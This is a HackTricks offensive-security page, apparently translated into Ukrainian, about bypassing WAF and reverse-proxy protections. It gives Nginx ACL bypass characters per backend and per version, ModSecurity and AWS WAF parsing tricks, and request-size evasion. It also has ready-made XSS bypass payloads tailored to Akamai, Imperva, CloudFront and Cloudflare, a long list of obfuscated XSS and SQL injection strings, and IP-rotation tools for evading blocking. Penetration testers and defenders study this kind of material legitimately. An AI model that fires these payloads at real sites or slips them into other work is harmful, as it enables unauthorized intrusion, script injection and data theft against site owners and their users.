Proxy / WAF Protections Bypass
Reading time: 11 minutes
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.
Bypass Nginx ACL Rules with Pathname Manipulation
Техніки з цього дослідження.
Приклад правила Nginx:
location = /admin {
deny all;
}
location = /admin/ {
deny all;
}
Щоб запобігти обходам, Nginx виконує нормалізацію шляху перед його перевіркою. Однак, якщо backend-сервер виконує іншу нормалізацію (видаляючи символи, які nginx не видаляє), це може дозволити обійти цей захист.
NodeJS - Express
Версія Nginx | Символи обходу Node.js |
---|---|
1.22.0 | \xA0 |
1.21.6 | \xA0 |
1.20.2 | \xA0 , \x09 , \x0C |
1.18.0 | \xA0 , \x09 , \x0C |
1.16.1 | \xA0 , \x09 , \x0C |
Flask
Версія Nginx | Символи обходу Flask |
---|---|
1.22.0 | \x85 , \xA0 |
1.21.6 | \x85 , \xA0 |
1.20.2 | \x85 , \xA0 , \x1F , \x1E , \x1D , \x1C , \x0C , \x0B |
1.18.0 | \x85 , \xA0 , \x1F , \x1E , \x1D , \x1C , \x0C , \x0B |
1.16.1 | \x85 , \xA0 , \x1F , \x1E , \x1D , \x1C , \x0C , \x0B |
Spring Boot
Версія Nginx | Символи обходу Spring Boot |
---|---|
1.22.0 | ; |
1.21.6 | ; |
1.20.2 | \x09 , ; |
1.18.0 | \x09 , ; |
1.16.1 | \x09 , ; |
PHP-FPM
Конфігурація Nginx FPM:
location = /admin.php {
deny all;
}
location ~ \.php$ {
include snippets/fastcgi-php.conf;
fastcgi_pass unix:/run/php/php8.1-fpm.sock;
}
Nginx налаштовано так, щоб блокувати доступ до /admin.php
, але це можна обійти, звернувшись до /admin.php/index.php
.
Як запобігти
location ~* ^/admin {
deny all;
}
Обхід Mod Security правил
Плутанина шляху
In this post пояснюється, що ModSecurity v3 (до 3.0.12) неправильно реалізував змінну REQUEST_FILENAME
, яка мала містити доступний шлях (до початку параметрів). Це відбувалося тому, що він виконував URL decode для отримання шляху.
Тому запит на зразок http://example.com/foo%3f';alert(1);foo=
у mod security вважатиме, що шлях — лише /foo
, оскільки %3f
перетворюється на ?
, що завершує URL-шлях, але фактичний шлях, який отримає сервер, буде /foo%3f';alert(1);foo=
.
Змінні REQUEST_BASENAME
та PATH_INFO
також постраждали від цього багу.
Щось подібне сталося у версії 2 Mod Security, що дозволяло обійти захист, який забороняв доступ користувачам до файлів з певними розширеннями, пов'язаними з резервними копіями (наприклад .bak
), просто відправивши крапку в URL, закодовану як %2e
, наприклад: https://example.com/backup%2ebak
.
Обхід AWS WAF ACL
Некоректний заголовок
This research згадує, що було можливо обійти правила AWS WAF, застосовані до HTTP-заголовків, відправивши «malformed» заголовок, який AWS неправильно парсив, але бекенд-сервер парсив.
Наприклад, відправка наступного запиту з SQL injection у заголовку X-Query:
GET / HTTP/1.1\r\n
Host: target.com\r\n
X-Query: Value\r\n
\t' or '1'='1' -- \r\n
Connection: close\r\n
\r\n
It was possible to bypass AWS WAF because it wouldn't understand that the next line is part of the value of the header while the NODEJS server did (this was fixed).
Загальні WAF bypasses
Межі розміру запиту
Зазвичай WAF мають певне обмеження довжини запитів для перевірки, і якщо POST/PUT/PATCH запит перевищує його, WAF не буде перевіряти запит.
- For AWS WAF, you can check the documentation:
Максимальний розмір тіла веб-запиту, який може бути проінспектований для Application Load Balancer and AWS AppSync protections | 8 KB |
Максимальний розмір тіла веб-запиту, який може бути проінспектований для CloudFront, API Gateway, Amazon Cognito, App Runner, and Verified Access protections** | 64 KB |
- From Azure docs:
Старі Web Application Firewalls з Core Rule Set 3.1 (або нижче) дозволяють повідомлення більші за 128 KB шляхом вимкнення інспекції тіла запиту, але ці повідомлення не перевірятимуться на вразливості. Для новіших версій (Core Rule Set 3.2 або новіше) те саме можна зробити, вимкнувши максимальне обмеження тіла запиту. Коли запит перевищує ліміт розміру:
Якщо prevention mode: Логує та блокує запит.
Якщо detection mode: Інспектує до ліміту, ігнорує решту, і логує, якщо Content-Length
перевищує ліміт.
- From Akamai:
За замовчуванням WAF інспектує тільки перші 8KB запиту. Можна збільшити ліміт до 128KB, додавши Advanced Metadata.
- From Cloudflare:
До 128KB.
Прогалини інспекції статичних ресурсів (.js GETs)
Деякі CDN/WAF стеки застосовують слабку або відсутню інспекцію контенту для GET запитів до статичних ресурсів (наприклад шляхи, що закінчуються на .js
), водночас застосовуючи глобальні правила як rate limiting та IP reputation. У поєднанні з автокешуванням статичних розширень це можна зловживати для доставки або підміни шкідливих варіантів, які впливають на подальші HTML відповіді.
Практичні випадки використання:
- Надіслати payloads в неперевірених заголовках (наприклад,
User-Agent
) через GET до шляху.js
, щоб уникнути інспекції контенту, потім негайно запросити головний HTML, щоб вплинути на кешований варіант. - Використати чистий/свіжий IP; коли IP позначили, зміни маршрутизації можуть зробити техніку ненадійною.
- У Burp Repeater використати "Send group in parallel" (single-packet style), щоб перегнати два запити (
.js
потім HTML) через той самий front-end path в гонці.
Це добре поєднується з header-reflection cache poisoning. Дивись:
Cache Poisoning and Cache Deception
Obfuscation
# IIS, ASP Clasic
<%s%cr%u0131pt> == <script>
# Path blacklist bypass - Tomcat
/path1/path2/ == ;/path1;foo/path2;bar/;
Сумісність Unicode
Залежно від реалізації нормалізації Unicode (більше інформації тут), символи, що мають сумісність Unicode, можуть обійти WAF і виконатися як очікуваний payload. Сумісні символи можна знайти тут.
Приклад
# under the NFKD normalization algorithm, the characters on the left translate
# to the XSS payload on the right
<img src⁼p onerror⁼'prompt⁽1⁾'﹥ --> <img src=p onerror='prompt(1)'>
Обхід контекстних WAFs за допомогою кодувань
Як зазначено в this blog post, щоб обійти WAFи, які можуть зберігати контекст вводу користувача, можна зловживати техніками WAF, щоб фактично нормалізувати ввід користувача.
Наприклад, у дописі згадується, що Akamai URL decoded a user input 10 times. Тому щось на кшталт <input/%2525252525252525253e/onfocus
буде оброблено Akamai як <input/>/onfocus
, що може вважатися безпечним, оскільки тег закритий. Однак якщо додаток не буде URL decode вводу 10 разів, жертва бачить щось на кшталт <input/%25252525252525253e/onfocus
, що все ще придатне для XSS-атаки.
Отже, це дозволяє ховати payloadи в закодованих компонентах, які WAF декодує й інтерпретує, тоді як жертва цього не побачить.
Більше того, це можна робити не лише з URL-кодуванням, а й з іншими кодуваннями, такими як unicode, hex, octal...
У дописі пропонуються такі остаточні bypass-и:
- Akamai:
akamai.com/?x=<x/%u003e/tabindex=1 autofocus/onfocus=x=self;x['ale'%2b'rt'](999)>
- Imperva:
imperva.com/?x=<x/\x3e/tabindex=1 style=transition:0.1s autofocus/onfocus="a=document;b=a.defaultView;b.ontransitionend=b['aler'%2b't'];style.opacity=0;Object.prototype.toString=x=>999">
- AWS/Cloudfront:
docs.aws.amazon.com/?x=<x/%26%23x3e;/tabindex=1 autofocus/onfocus=alert(999)>
- Cloudflare:
cloudflare.com/?x=<x tabindex=1 autofocus/onfocus="style.transition='0.1s';style.opacity=0;self.ontransitionend=alert;Object.prototype.toString=x=>999">
Також згадується, що залежно від того, як деякі WAFи розуміють контекст вводу, це може бути зловживано. В прикладі з блогу вказано, що Akamai дозволяв(ла) вміщувати будь-що між /*
і */
(ймовірно тому, що це зазвичай використовується як коментар). Тому SQLinjection на кшталт /*'or sleep(5)-- -*/
не буде помічено і залишиться валідним, оскільки /*
є стартовим рядком ін’єкції, а */
— коментарем.
Такі проблеми з контекстом також можна використовувати для зловживання іншими вразливостями, ніж та, яку очікував блокувати WAF (наприклад, це також можна використати для експлуатації XSS).
H2C Smuggling
IP Rotation
- https://github.com/ustayready/fireprox: Генерує URL для API gateway, щоб використовувати з ffuf
- https://github.com/rootcathacking/catspin: Схоже на fireprox
- https://github.com/PortSwigger/ip-rotate: Плагін для Burp Suite, який використовує IP-адреси API gateway
- https://github.com/fyoorer/ShadowClone: Динамічно визначена кількість екземплярів контейнерів активується залежно від розміру вхідного файлу та split factor; вхідний файл ділиться на чанки для паралельного виконання, наприклад 100 інстансів обробляють 100 чанків з вхідного файлу в 10,000 рядків при split factor = 100 рядків.
- https://0x999.net/blog/exploring-javascript-events-bypassing-wafs-via-character-normalization#bypassing-web-application-firewalls-via-character-normalization
Regex Bypasses
Різні техніки можуть бути використані для обходу regex-фільтрів на фаєрволах. Прикладами є чергування регістру, додавання перенесень рядка та кодування payload-ів. Ресурси по різних bypass-ах можна знайти на PayloadsAllTheThings та OWASP. Приклади нижче взяті з this article.
<sCrIpT>alert(XSS)</sCriPt> #changing the case of the tag
<<script>alert(XSS)</script> #prepending an additional "<"
<script>alert(XSS) // #removing the closing tag
<script>alert`XSS`</script> #using backticks instead of parenetheses
java%0ascript:alert(1) #using encoded newline characters
<iframe src=http://malicous.com < #double open angle brackets
<STYLE>.classname{background-image:url("javascript:alert(XSS)");}</STYLE> #uncommon tags
<img/src=1/onerror=alert(0)> #bypass space filter by using / where a space is expected
<a aa aaa aaaa aaaaa aaaaaa aaaaaaa aaaaaaaa aaaaaaaaaa href=javascript:alert(1)>xss</a> #extra characters
Function("ale"+"rt(1)")(); #using uncommon functions besides alert, console.log, and prompt
javascript:74163166147401571561541571411447514115414516216450615176 #octal encoding
<iframe src="javascript:alert(`xss`)"> #unicode encoding
/?id=1+un/**/ion+sel/**/ect+1,2,3-- #using comments in SQL query to break up statement
new Function`alt\`6\``; #using backticks instead of parentheses
data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMik+ #base64 encoding the javascript
%26%2397;lert(1) #using HTML encoding
<a src="%0Aj%0Aa%0Av%0Aa%0As%0Ac%0Ar%0Ai%0Ap%0At%0A%3Aconfirm(XSS)"> #Using Line Feed (LF) line breaks
<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=confirm()> # use any chars that aren't letters, numbers, or encapsulation chars between event handler and equal sign (only works on Gecko engine)
Інструменти
- nowafpls: Burp plugin для додавання сміттєвих даних у запити з метою обходу WAFs за довжиною
Посилання
- https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies
- https://blog.sicuranext.com/modsecurity-path-confusion-bugs-bypass/
- https://www.youtube.com/watch?v=0OMmWtU2Y_g
- https://0x999.net/blog/exploring-javascript-events-bypassing-wafs-via-character-normalization#bypassing-web-application-firewalls-via-character-normalization
- How I found a 0-Click Account takeover in a public BBP and leveraged it to access Admin-Level functionalities
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.